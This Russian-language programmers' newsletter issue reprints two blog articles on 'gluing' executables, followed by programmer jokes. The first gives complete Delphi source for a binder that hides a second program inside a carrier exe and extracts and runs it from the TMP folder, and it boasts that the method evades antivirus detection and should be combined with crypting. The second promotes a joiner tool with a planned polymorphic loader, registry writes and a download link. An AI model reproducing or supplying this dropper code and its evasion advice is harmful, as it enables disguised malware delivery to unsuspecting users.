Отправляет email-рассылки с помощью сервиса Sendsay

Клуб программистов

  Все выпуски  

Клуб программистов


Клуб | Лабораторные работы | Справочники | Книги | Статьи | Архив рассылки | Форум | Основы Delphi | Блог

 
Клуб программистов
 первый программерский :) выпуск 44
 
 
От редактора

Совсем забыл что вчера был четверг, но это ничего, потому что в пятницу рассылка тоже выходит! Так что, приветствую всех. Не смотря на то, что настроение у меня сегодня не очень, я постораюсь сделать выпуск поинтереснее.

Размещаю 2 статьи из Блога Программистов, спасибо execom. Обе статьи на дну тему - склеивание файлов. Думаю вам будет интересно. Еще в выпуске анекдоты про программистов. Вы уж меня простите, но сегодня я не сал смотреть интересные темы на форуме. Удачи вам и в жизни и в работе и в отдыхе!

 
 
Склеивание файлов
Как я и обещал выкладываю свой способ склейки файлов. Суть метода предельно, до тупого проста и понятна всем. В исходник программы носителя добавляется приведённая нижепроцедура: Joiner.

А дальше где-нибудь в программе устанавливется её вызов, например в начале основной части или, если её нет в функции FormCreate, в общем где посчитаете нужно, там и ставите… Далее действуем так: у нас есть два файла например nositel.exe-файл-носитель и Joined.exe - клеимый файл.Рззмещаем эти файлы в одном каталоге, запускаем nositel.exe в этом же каталоге образуется файл nositel.exe.exe он представляет собой уже склееные два файла nositel.exe и Joined.exe с добавленной в DOS-заголовке меткой склеености))) В общем-то если вы все параметры правильно ввели то у всё уже готово))… Переименовываем nositel.exe.exe в рабочее имя и можем его применять… при запуске этого файла он извлекает приклееную прогу в указанное в параметре место и в зависимости от выбранный парамтров запускает или нет с выбранным способом отображения окна)))

Я думаю, что вопросы по теме будут, хотя вроде всё понятно, в общем что не ясно спрашивайте….

Преемущества метода:
- Непалим антивирями по причине отсутствия загрузщика;
- Метод прост и не требует наличия каких-либо средств;
- Метод очень компактный в реализации;

Недостатки метода:
- Нельзя склеивать любые два файла, в качестве файла-носителя
можно применять только файл, чей делфи исходник у вас есть…

Особенность метода:
- Упаковку и криптование файлов необходимо провести до склеивания)))

Вот исходник процедуры, полностью описанный и с примером применения:

//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn ‘n’ DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////

{$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения
//Её необходимо будет добавлять в каждую прогу внячале кода…
program Project3;
uses //Для работы процедуры необходимо присутствие этих модулей
SysUtils,
Windows;

Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:

//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.

Joiner(’calc.exe’,GetEnvironmentVariable(’TMP’)+’\',”,true,SW_Show);
end.

P.S. При написании программ с паблик исходниками пояснения из кода
можете убрать, но оставьте строки копирайта:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn ‘n’ DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////
Хотя - это скорей проcьба)))

Автор статьи: execom. Вопросы и комментарии сюда: http://pblog.ru/?p=83

 
 
Клеильщик файлов Keton 0,01 beta
Данная программа представляет собой джонер файлов. С помощью неё вы сможете склеить два любых файла, и выбрать настройки при которых запуск общего файла будет приводить к запуску в определённом режиме обоих файлов, так же при запуске вы можете добавить определённый параметры в системный реестр.

В целом программа находится на самой начальной стадии бета-тестирования. И в ней могут быт баги большая просьба к тестирующим, при обнаружении косяков сообщить он них мне…
Так же прога пока что не имеет и половины намечаемых опций, но до первой публичной версии
все намеченные полезности будут в строю..

Что намечается:
- Переход на асемблерный загрузщик
- Опция выбора иконки
- Возможность склеивания до 256 файлов
- Добаввится количество вариантов запуска
- Появится несколько независимых типов
шифрования файлов, которые можно будет ставить
для каждого файла по отдельности
- Загрузщик будет иметь полиморфный движок.

В конечном итоге будет неплохая прога, поэтому
всем неравнодушным прошу помочт в тестировании
проги на данном этапе…
Так же прошу заметить, что замечания по поводу
непрофессионалности дизайна, на этой стадии не
принимаются, т.к. текущий дизайн чисто рабочий))

7.08.2007 execom : 239102
Falx : 6116
Вот линк:
http://d4rkevil.org/keton/keton.rar

 
 
Юмор программистов

Новость: Новейший российский микропроцессор имеет не только повышенное быстродействие и уменьшенное энергопотребление, но и четыре удобные ручки для его переноски грузчиками, и улучшенную систему охлаждения, легко подключаемую к обычному водопроводному крану.

***

- Что ты делаешь, когда видишь красивую девушку? - Я её скачиваю...

***

Среди наиболее необходимых программ для Windows лидирует программа Uninstaller.

***

Объявлено об объединении Микрософт и Линукс. Эмблемой новой системы выбран пингвин, выпадающий в окно.

***

Доктор ставит хакеру диагноз: - Итак, дорогой, вам осталось жить 30 дней. - Извините, доктор, а где можно скачать сrасk?

***

Компания Микрософт решила отозвать из эксплуатации 1 000 000 000 клавиатур. Причина - износ клавиш Ctr, Alt, Del.

***

Русские хакеры взломали ракету "ТАМОГАВК" теперь она называется "БУМЕРАНГ".

***

Билл Гейтс обеднел. Промотал все свое состояние. Что делать - пошел устраиваться на работу. Нашел единственную работу - грузчиком. И вот как то ночью таскает он с другими грузчиками окна. Гейтс: - Двухтысячное. Бригадир: - Филонишь, гад. Девяносто восьмое

***

У хакера спрашивают: - Кто твой провайдер? - ФСБ - ?! - А они жучков в телефон понаставили, я через них в интернет выхожу

***

Звонит мужик в службу тех. поддержки: - Слушайте, у меня кот, гад, по клаве топал и пароль в БИОСе изменил! Можно что-нибудь сделать? Ему отвечают: - Попробуйте пароль "МЯУ" набрать. - Что? Да пошёл ты... Бросил мужик трубку. Думал-думал, потом набрал М, Я, У - и комп запустился! Ну, он давай снова звонить: - Алло! Это вы мне посоветовали МЯУ набрать? Спасибо! Всё получилось! - Рад за вас. Я эти кошачьи штучки знаю, - отвечают ему. - Извините, что я вам нахамил тогда... - Ничего, всё нормально. - Ой, спасибо! Молодой человек, а как вас зовут - я теперь только к вам хочу обращаться? - Да я вообще-то... А, ладно, Барсика спросите - меня тут все знают.

***

Возвpащается как-то pаз пpогpаммист с pаботы домой. Hавстpечу лягушка. И говоpит ему человечьим голосом:
- Слушай, я не лягушка, а заколдованная цаpевна. Если меня поцеловать, я pасколдуюсь, ты на мне женишься... в общем, со всеми вытекающими последствиями.
Пpогpаммист беpeт еe, кладет в каpман и идeт дальше. Лягушка его за пиджак дepгает:
- Слушай, ты не понял! Меня надо поцеловать, я расколдуюсь в красивую девушку и ты на мне женишься!
Пpогpаммист достаeт еe и объясняет:
- Понимаешь, я пpогpаммист. Мне с девушками возиться некогда. А говоpящая лягушка - это пpикольно!

***

Ребенок спрашивает маму:
- Мамочка! А почему мой папа не делает мне козу и не шлепает по попке?
- А потому что нет у тебя больше папы! - сказала мама, страшно зарыдав, - Он купил себе модем и подключился к Интернету!

***

Поймал как-то мужик золотую рыбку, а она ему и говорит:
- Отпусти меня, я одно любое твое желание исполню.
- Я хочу, чтобы был мир во всем мире!
- Нет, давай что-нибудь попроще.
- Ну тогда пусть Windows'98 не глючит.
- Слушай, давай может первое желание.

***

Встречаются два системных администратора, и один спрашивает другого:
- Ты чего такой грустный?
- Да вот сервер вчера "упал".
- Ну да ты что, его до сих пор не "поднял"?
- Поднял, но он со стола упал...

p.s. Юмор от участников Форума программистов здесь!

 
 
Подписчикам рассылки

Ко мне на e-mail часто приходят разные письма от подписчиков с вопросами. Я всегда рад вашим письмам. присылайте вопросы, пожелания, замечания. Адрес для писем ведущему рассылки admin@welikeit.ru.

 

Клуб | Лабораторные работы | Справочники | Книги | Статьи | Архив рассылки | Форум | Основы Delphi | Блог


В избранное